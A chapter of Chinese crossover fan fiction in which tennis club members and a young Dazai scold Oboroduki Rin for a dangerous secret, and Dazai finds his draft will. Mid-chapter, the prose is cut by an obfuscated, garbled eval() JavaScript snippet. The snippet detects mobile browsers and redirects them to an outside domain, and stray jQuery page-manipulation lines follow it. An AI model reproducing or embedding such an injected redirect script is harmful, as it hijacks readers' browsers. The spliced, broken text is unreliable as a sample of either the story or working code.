下雨要打伞1 作品

33.第三十三章

    第三十三章  正版@晋江文学城


    ——


    体育馆里很冷——或许是因为下雨,气温骤降的原因,又或者因为异空间四季如春,他突然从温暖的地方来到现世,会比平时更加怕冷。


    那十五宰呢?


    胧月凛看着十五宰,他似乎是从什么地方赶来的,衣服湿漉漉的没有来得及换,被隐藏的很好的那点焦虑在看到胧月凛后散去,只留下满脸不悦。


    胧月凛却想到了另一件事:穿着冰冷的衣服,在这种天气会很冷吧,但十五宰看上去却一点也不觉得。


    “……”


    胧月凛想了会儿,说,“先换个衣服吗?”


    但这招并不是什么时候都灵的。这次,十五宰显然不想就这么放过胧月凛,语气快的像机关枪,突突地击打胧月凛。


    “这是重点吗?是重点吗?重点吗?是吗?”


    胧月凛被念得脑袋越来越低。


    “就是,”被遗忘的切原赤也听到这句话紧跟而上,“前辈怎么能——”


    话未说完,被仁王雅治一把捞回来捂住嘴,并被低声警告:“收声。”


    被捂嘴的切原赤也:“唔唔唔?”我说错什么了?


    仁王雅治目光囧囧:你看现在像是我们能插话的场合吗?


    ……明明是他先来的,受害人赤也也在,胧月凛第一个看见的,却是蹲在墙角的十五宰。


    而且仁王雅治突然觉得,在座所有人,都·是·电·灯·泡,根本插不进去。


    这可不是仁王雅治的错觉,他看比吕士他们眼里,也是类似的神情……


    另一边,胧月凛专注道歉。


    虽然不知道在道什么歉,总之倒了。


    胧月凛:“对不起。”


    “没有听到。”


    “对不起。”


    明明看上去,是胧月凛先低头。


    但是十五宰很清楚,妥协的人,是他。


    鸢眼的少年眼眸深处是极冷的光,这点转瞬即逝的情绪却被胧月凛准确地捕捉到,十五宰看他疑惑的眼神,却恶趣味地故作不知,缓声道:“凛酱?”


    果不其然,没有得到回馈信号的胧月凛,将那点微妙的不和谐当做错觉,迟疑着摇摇头。


    “……没什么。”


    虽然应该道歉的人根本就不是他,胧月凛还是鞠躬说:“抱歉,让大家担心了。”


    这句话说完,冷凝成冰的室内回温,气氛化成流水,大家互相看了几眼。


    有些东西就像冰川下的冰,比起浮在水面上的范围要更深更广,这是共识,也是不必提起的事。


    就像胧月凛会为了大家主动以身涉嫌,又诸如大家为了帮胧月凛融入人类世界做了什么。


    没有谁规定要把那些被视为“秘密”的秘密一字一句拆解并剖析出个所以然,这是无法计算的情感。


    而现在需要的……也不是那些。


    和胧月凛的共同之处是一样的,他们都不想让彼此担心。


    既然胧月凛不想提起,那又何必咄咄逼人呢?


    仁王第一个主动向前揽住胧月凛。


    “你这家伙吓死我了!”


    他一把揽住胧月凛的脖子使劲下摁,胧月凛难得顺从地被压弯腰,头发被仁王揉得凌乱。


    “就是啊前辈!”


    切原赤也含着泪扑到胧月凛身上,他平时是不太敢这么做的,因为背后总有个眼神暗搓搓地盯着他,盯得切原赤也头皮发麻。


    但这会儿切原赤也顾不上了:“明明是给我的磨砺吧!怎么能让前辈代替我承担呢?”


    “诶……?”还在苦恼该怎么找理由瞒过大家的胧月凛一呆。


    他马上反应过来看向十五宰,是太宰想了什么理由掩饰吧……?


    捕捉到胧月凛目光的十五宰明明一直在关注这边,却还是刻意扭过脸。


    胧月凛眉眼弯起,做出口型:“辛苦了。”


    十五宰轻哼了声。


    他其实没做什么。


    装作若无其事,是网球部众人自行决定要做的事。


    也是因此,十五宰才没有找理由把胧月凛拎走,而是大方地任由他在这里多消耗一些时间。


    但是!如果胧月凛说“谢谢”,十五宰绝不会善罢甘休。


    “……!”


    没注意到后方的胧月凛被重物压住,瘫倒在地。


    丸井文太用力地跳到胧月凛背上大声:“不管怎么说瞒着大家做这种危险的行为也太过分了!”


    得到众人响应,甚至就连最良心的桑原都歉意又毫不客气地把胧月凛往地板上压了压。


    濒临窒息的胧月凛:“……”


    人山最下方,一只手艰难伸出,无力地摇晃:“太宰,救我——”


    求援声被十五宰冷酷无情地忽视。


    ……


    如果说在网球部大家面前,十五宰的动作是前菜,那么现在,恐怕就是正餐了。


    是的,说这话很不好意思,可人确实有远近亲疏。


    像网球部大家难以开口的事,在十五宰看来,胧月凛必须向他老实交代。


    或许是被宠坏了,又或许本性恶劣,总之十五宰想要掌控胧月凛的全部。


    而胧月凛?他多少也感受到了这点,可怎么说呢……就像他曾经自己的打算:遗产会分成两份,猫和太宰各占一半一样。


    这是个无比现实,但三位心有默契的事:十五宰本来就不能得到他的全部呢。


    ……不过在今天晚上,这个三角关系被短暂地打破了。


    回家后的十五宰沉着脸,不再像以前那样,哪怕心里惊涛骇浪,也会在胧月凛面前露出不悦的模样,反而会调笑地逗弄胧月凛。


    ——现在,他几乎是明晃晃地表示着不满。


    一人一猫背着胧月凛窃窃私语了一阵子后,确定统一战线,共同审问胧月凛。


    充当惊堂木的筷子一敲,胧月凛配合地埋头。


    十五宰双手抱胸,一旁,宰猫猫脸严肃,同样望着胧月凛的一举一动。


    “堂下之人有何冤屈?”


    胧月凛跪坐在床,乖乖摇头。


    为了安抚十五宰和宰猫,胧月凛完全按照一人一猫要求、低声下气、予取予求地做完,最后……


    ……还是没有哄好呢。


    早有预料.jpg


    胧月凛倒没想瞒着十五宰。


    先不说他答应三桥幸的事还没做,刚才没有说,只是觉得场合不对,毕竟网球部的大家只是普通人,不应该被牵扯到这些事情里。


    有意无意地,胧月凛忽略了,他同样也只是个普通人。


    但恰巧也是这点,才是十五宰无法忍受的。


    即便自己也是个自毁倾向严重的人,明知如此也不在意,可事情放到胧月凛身上,就让人无比地难以接受。


    十五宰无法想象自己,如果有哪天他得知胧月凛会遇到危险、乃至死去——


    不,光是想想也不行。


    “凛酱在想什么呢?”


    十五宰幽幽的声音从头顶飘入耳朵,像是被什么难以描述的目光盯上了,胧月凛嗅到一丝危险的气息。


    不重,但丝丝缕缕地飘在鼻尖,仿佛他是一根纺锤,而这气息是丝线,理所当然该缠绕在他身上,而后——将他层层包裹在内。


    十五宰沉默着,手指一下下点在胳膊上,分针咔哒哒一秒秒地走过,他垂眼看胧月凛,眸中神色流转,难以分辨其中含义。


    十五宰思考时偶尔会做的动作,一旦出现类似的表情,就代表着他在思索一些难以抉择的事。


    没人能控制另一个人的思想——被暗地里称作操心师的他反倒更加明白这点。


    但这只能表示他对外界的态度,有些事却是不随理智而运行的,那也是被称为人类独有的,情感。


    没等胧月凛绞尽脑汁地想好回答,十五宰便蹲下身,与跪坐在床上的胧月凛脸齐平。


    十五宰这会儿不想掩饰了,索性直接伸出手来去掰胧月凛的下巴。


    胧月凛看上去很乖——这让十五宰的心情稍微好转了一点,但他并不想表现出来,否则他绝对会顺杆往上爬。


    是的,虽然这点很难看出,但胧月凛的确很容易捕捉到十五宰的那点心软,并且本能地拿捏他。


    而他……十五宰承认,某些时候,他的确不如另一只猫心硬,因此会被胧月凛带跑关注点——这不是因为他没有看出问题,而是他,的的确确,更加舍不得胧月凛为难。


    十五宰眼风撇过幼猫。


    幼猫一声不喵,走神了。


    他似乎在思考什么无比重要的事,以致于明明是三个人的对峙,却只有两人参演。


    十五宰暂时忽略了幼猫和他的暗中观察。


    十五宰有自己的作风。


    无论外在表现如何悲观,可不得不承认,少年人的确要更加直白,他们总是怀揣着更多的希望,会更勇敢地去面对自我和他人。


    十五宰亦无法免俗,侵略性也好,占有欲也罢,十五宰就是这样一个阴暗的人,可他同样也会将自己的所思所想直言给重要的人。


    而不是暗地中筹谋一切,默不作声。


    两根手指便将胧月凛的脑袋轻而易举地抬高,两人视线平视相对,胧月凛虽然配合了,可面对逼问,却又很难开口。


    ——不是因为对决定要做的事有所迟疑,倒不如说,正是因为坚定地想做,反倒难以开口。


    因为……


    十五宰冷不丁地开口:“凛酱在想,我会因为你的隐瞒而生气?”


    “啊……”完全被看透


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675752|170089||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    了。


    饶是早已熟悉太宰的洞若观火,胧月凛还是有些猝不及防。


    不过现在也是必须要解释的时候吧。


    “抱歉,”胧月凛很坦诚地说,“是我太贪心了,既想要得到太宰,又想要坚持自己的作风。”


    “所以我排在最前?”十五宰准确捕捉到他话里的漏洞。


    胧月凛一呆:“……诶?”


    是、是吗?


    好像是的。


    不知不觉间,就认为如果太宰会伤心、难过,那么他可以妥协的事物……胧月凛细数一番,似乎只有稀少的几件。


    “凛酱真的很可恶啊!”十五宰故意捏着他的下巴晃来晃去,“自大!固执!任性!”


    脑袋被晃匀的胧月凛屈打成招,迷迷糊糊认下所有罪行,但法官并不满足于此。


    因为这只是最表层的行为。


    十五宰想要的远不止于此。


    那是初见面时,十五宰试图推理胧月凛时,对方看出来了,却承诺说:‘只要能说,我就会告诉你。’


    ……可如果他,并不满足于此呢?


    如果他想要听‘不能说’的部分,胧月凛又会怎样?


    既然接纳了自己,容忍了自己的一步步试探,那么最终会被完全蚕食,也是理所当然的吧。


    十五宰拨开胧月凛被他晃得到处乱甩的发丝,青色眸子露出,带了点水润:“凛酱。”


    他郑重地低声,像在请求,语气却无比霸道,显然是不能接受否认的态度:“无论你想做什么,我不想自己猜,我要你亲口告诉我。”


    这话的意思,俨然是要求胧月凛具以实告,完全坦白。


    不是异空间的事,而是驱使胧月凛不顾自身安危,刻意去做的理由。


    ——十五宰已经勾勒出冰山暗藏着下的轮廓,现在他要求胧月凛坦白。


    可二人都知道,这不可能。


    更何况十五宰只是“勾勒”,而不是真的看到了水面下藏有的秘密。


    气氛有一瞬沉默。


    胧月凛反应过来,控诉:“太宰,偏执。”


    “是吗?”


    十五宰捏着下巴的手指不自觉用了点力,把他的脸更近地掰向自己。


    “那凛酱呢?明明自己才是那个藏了一肚子心思不说的家伙。表面看上去像民主派,其实背地里完全就是个一意孤行的家伙,而且不会听任何人的意见停下脚步对不对?”


    “唔唔。”试图说些什么,然而开口便会被更用力地捏住,手的主人显然不想听到他的辩驳。


    “为什么不说呢?因为觉得我不应该知道吗?想要一个人默默地揽下全部,是觉得自己是大人吗?所以要保护我?”


    “明明凛酱才是那个最偏执的家伙吧!”十五宰理直气壮地用他的话回击,“我再怎么样,也不会——”


    气氛越发激烈,火药味加重,眼看就要上演一场单方面的……


    暗中观察已久幼猫确认时机已至,“咪”了一声。


    “……”


    十五宰闭了闭眼,发现自己被胧月凛绕进去了。


    果然,小孩子就是容易偏离关注点。


    即便是自己的幼生期……不,或者说就是因为是自己,才更加讨厌。


    幼猫很是无语地睥睨十五宰,得到对方的白眼。


    幼猫暂时无视了,只在心里记了笔账。


    他矜持地蹲坐在床沿,爪子缓慢地舒展,胧月凛茫然地看幼猫,不清楚宰猫想发表什么意见。


    但是……有一些不妙的预感。


    不得不承认,大人的沉稳往往能让他们更加聚焦目标,并且,按耐住性情,选择合适的时刻一击必杀。


    宰猫在二人的注目下,跳下去扒拉了一下柜子缝隙,那里有个很隐蔽的上锁抽屉,猫爪打不开,十五宰很难看到。


    这里面是——


    胧月凛还未想好怎么解释,十五宰便反应迅速地展现了他初来乍到时用过一次的撬锁技能。


    “吧嗒”一声,锁扣无力地放弃抵抗,十五宰拉开抽屉,里面是满满一抽屉猫毛。


    “……呃。”


    胧月凛试图狡辩,并转移话题,可十五宰忽视掉作为烟雾弹的吸引注意的猫毛,目标准确地定位抽屉夹层。


    灵巧的手指再次轻而易举地打开,里面是一张起草阶段的遗嘱。


    [我决定将所有遗产划分为平均的两份,分别赠与……]


    十五宰动作迅速地扫视一遍。


    最关键的点被找到,其余的一切都有了答案,想隐瞒的真相被无情揭破。


    和原本表情还算轻松,如今却沉默凝滞的幼猫不同,十五宰反倒在这冲天怒火下,反倒冷静下来。


    他低声,语气倒恢复以往的模样:“原来,凛酱是要死掉了呀。”